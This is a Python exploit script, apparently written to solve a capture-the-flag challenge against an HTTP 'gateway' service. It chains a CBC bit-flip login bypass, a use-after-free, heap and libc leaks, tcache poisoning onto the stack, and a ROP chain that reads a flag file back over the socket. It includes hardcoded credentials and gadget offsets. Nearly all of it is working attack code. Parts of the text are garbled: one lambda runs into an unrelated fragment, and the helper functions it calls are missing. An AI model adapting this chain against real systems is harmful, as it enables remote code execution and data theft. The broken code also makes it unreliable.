#!/usr/bin/env python3 # BenchLink gateway RCE: CBC-bitflip auth -> UAF -> libc/heap leak -> # snapshot-overlap arbitrary read -> 0x130 tcache poison onto main stack -> # ROP open("/flag")+read+write(1) (server dup2's client socket to fd1). # Merged from teammate's chain + verified handout-libc offsets + correct Host header. import socket, re, sys, struct, os, time HOST = os.environ.get("THOST","127.0.0.1") PORT = int(os.environ.get("TPORT","8080")) USER = "operator"; PW = "PlantOps-4hM7sQ29" FLAGPATH = (os.environ.get("FLAG_PATH","/flag").encode()) + b"\x00" READLEN = 0x100 # ---- handout libc 2.36 offsets (all verified against libc.so.6) ---- OFF_UNSORTED = 0x1d3cc0 OFF_ENVIRON = 0x1db320 POPRDI = 0x277e5 # 5f c3 RET = 0x277e6 # c3 POPRSI = 0x28f99 # 5e c3 POPRDX = 0xfdf0d # 5a c3 (teammate's corrected gadget) XCHG = 0x141dcc # 97 c3 xchg edi,eax ; ret OPEN = 0xf7fc0 READ = 0xf82a0 WRITE = 0xf8340 # stack self-pointer signatures in the handler frame (binary-specific, same remote==local) SELFPTR = {0x15c0:0x80, 0x1550:0xb0, 0x1538:0x98, 0x1618:0x88, 0x1590:0xc0, 0x1598:0xc8} p64 = lambda x: struct.pack(">(8*k))&0xff for k in range(3)) def poison_code(target, headchunk): # revision writes low3(target) ^ low3(headchunk>>12) so demangled fd low3 = target low3 return bytes(a^b for a,b in zip(low3(target), low3(headchunk>>12))) def main(): log(f"[*] target {HOST}:{PORT} flag={FLAGPATH!r}") login(); log("[*] SID", SID) ensure(); log("[+] field authorization (CBC bitflip)") # ---- libc leak via unsorted bin (two big notes, free one) ---- b1=create(b"A"*1024); b2=create(b"B"*1024) cancel(b1); libc=receipt(b1)-OFF_UNSORTED environ=libc+OFF_ENVIRON G=lambda o: libc+o log(f"[+] libc_base={hex(libc)} environ={hex(environ)}") if (libc & 0xfff) != 0: log("[-] libc base not page-aligned (pollution/contention). abort."); return # ---- 8 small 0xa0 chunks, deterministic on a clean heap ---- C=[create(b"s"*100) for _ in range(8)] cancel(C[0]); rc0=receipt(C[0]); H=(rc0 or 0)<<12 addr=lambda i: H+0x480+i*0xa0 buf=H+0x990 # stable writable heap scratch (b2 region) log(f"[+] heap_base={hex(H)} buf={hex(buf)}") if not rc0 or (H & 0xfff)!=0 or (H>>40) not in (0x55,0x56): log("[-] heap_base malformed -> 0xa0-tcache pollution (not a pristine heap)."); return # ---- snapshot overlap -> arbitrary read ---- snap_cap() # S1 lands on C0's chunk cancel(C[1]); cancel(C[2]) # tcache[0xa0] = [C2 -> C1] revision(C[2], poison_code(addr(0), addr(2))) create(b"d"*100) # pop C2 J=create(b"\x00"*0x10+p64(environ)+b"SNAP\x00") # pop C0 -> overlaps snapshot obj def read64(target): evidence(J, b"\x00"*0x10+p64(target)+b"SNAP\x00") return snap_trace() stack=read64(environ) log(f"[+] *environ (stack)={hex(stack)}") if not stack or (stack>>44)!=0x7: log("[-] overlap/arb-read not stack-like; abort."); return # ---- locate saved-RIP slot. direct constant offset first (fast, avoids the # heavy scan that makes the server drop the connection); scan as fallback ---- def codeptr(v): return v is not None and ((v>>40) in (0x55,0x56) or (libc<=v dst (full 8-byte fd write via 0xa0-bin overlap) ---- P=create(b"P"*160); Q=create(b"Q"*160) # 0x130 chunks: P then Q adjacent cancel(P); pg=receipt(P) # P page (P>>12) cancel(Q); Pfull=pg ^ receipt(Q) # receipt(Q)=mangle(Q,P) -> P = (Q>>12)^receipt(Q) Qaddr=Pfull + 0x130 # head of tcache[0x130] is Q log(f"[+] P={hex(Pfull)} Q={hex(Qaddr)}") cancel(C[3]); cancel(C[4]) # tcache[0xa0] = [C4 -> C3] revision(C[4], poison_code(Qaddr, addr(4))) # C4->next = Q (0x130 head node, in-heap) create(b"x"*100) # pop C4 mangledQ=(Qaddr>>12) ^ dst create(p64(mangledQ)+b"K"*100) # pop K (bin 0xa0) overlapping Q: write Q->next=dst log("[+] tcache[0x130]: Q->dst (stack)") # ---- build ROP; written into the 0x130 chunk placed at dst (= main_rsp-0x10) ---- chain = p64(G(POPRDI)) + p64(0) # placeholder for &flag (fixup below) poprdi_flag_off = 8 # offset of the &flag qword within body chain += p64(G(POPRSI)) + p64(0) chain += p64(G(POPRDX)) + p64(0) chain += p64(G(OPEN)) # open(flag,0,0) -> rax=fd chain += p64(G(XCHG)) # xchg edi,eax -> rdi=fd chain += p64(G(POPRSI)) + p64(buf) chain += p64(G(POPRDX)) + p64(READLEN) chain += p64(G(READ)) # read(fd,buf,READLEN) chain += p64(G(POPRDI)) + p64(1) chain += p64(G(POPRSI)) + p64(buf) chain += p64(G(POPRDX)) + p64(READLEN) chain += p64(G(WRITE)) # write(1,buf,READLEN) -> client socket (dup2) body = p64(orig) + chain + p64(G(RET)) # fixup &flag: flag string placed right after body, at dst+len(body) strpos = len(body) body = bytearray(body) body[8+poprdi_flag_off:8+poprdi_flag_off+8] # noop, keep clarity # the &flag qword sits at body offset (leading orig=8) + poprdi_flag_off fixoff = 8 + poprdi_flag_off body[fixoff:fixoff+8] = p64(dst+strpos) body = bytes(body) + FLAGPATH assert len(body) <= 0x120, len(body) log(f"[*] firing ROP (body len={len(body)}, read {READLEN} bytes)") # dummy 0x130 to advance head to Q; next 0x130 lands at dst and is written with body create(b"Z"*160) # pop Q ; head of tcache[0x130] now = dst out=raw(b"POST /api/service/jobs HTTP/1.1\r\nHost: %b:%d\r\nCookie: SID=%b\r\n" b"Content-Type: application/octet-stream\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%b" % (HOST.encode(),PORT,SID.encode(),len(body),body), timeout=15) log("[*] raw response (%d bytes):"%len(out)) # the injected flag bytes follow the normal HTTP response on the socket tail=out.rpartition(b"\r\n\r\n")[2] log(" HTTP head/body:\n"+out[:300].decode(errors="replace")) log(" SOCKET TAIL (after response):\n"+repr(tail[-READLEN-64:])) for pat in (rb"flag\{[^}]*\}", rb"nestctf\{[^}]*\}", rb"[A-Za-z0-9_]*\{[^}]{4,}\}"): m=re.search(pat, out) if m: log("\n[RESULT] FLAG:", m.group(0).decode(errors="replace")); break else: log("\n[?] no flag{...} pattern matched; inspect raw tail above.") if __name__=="__main__": main()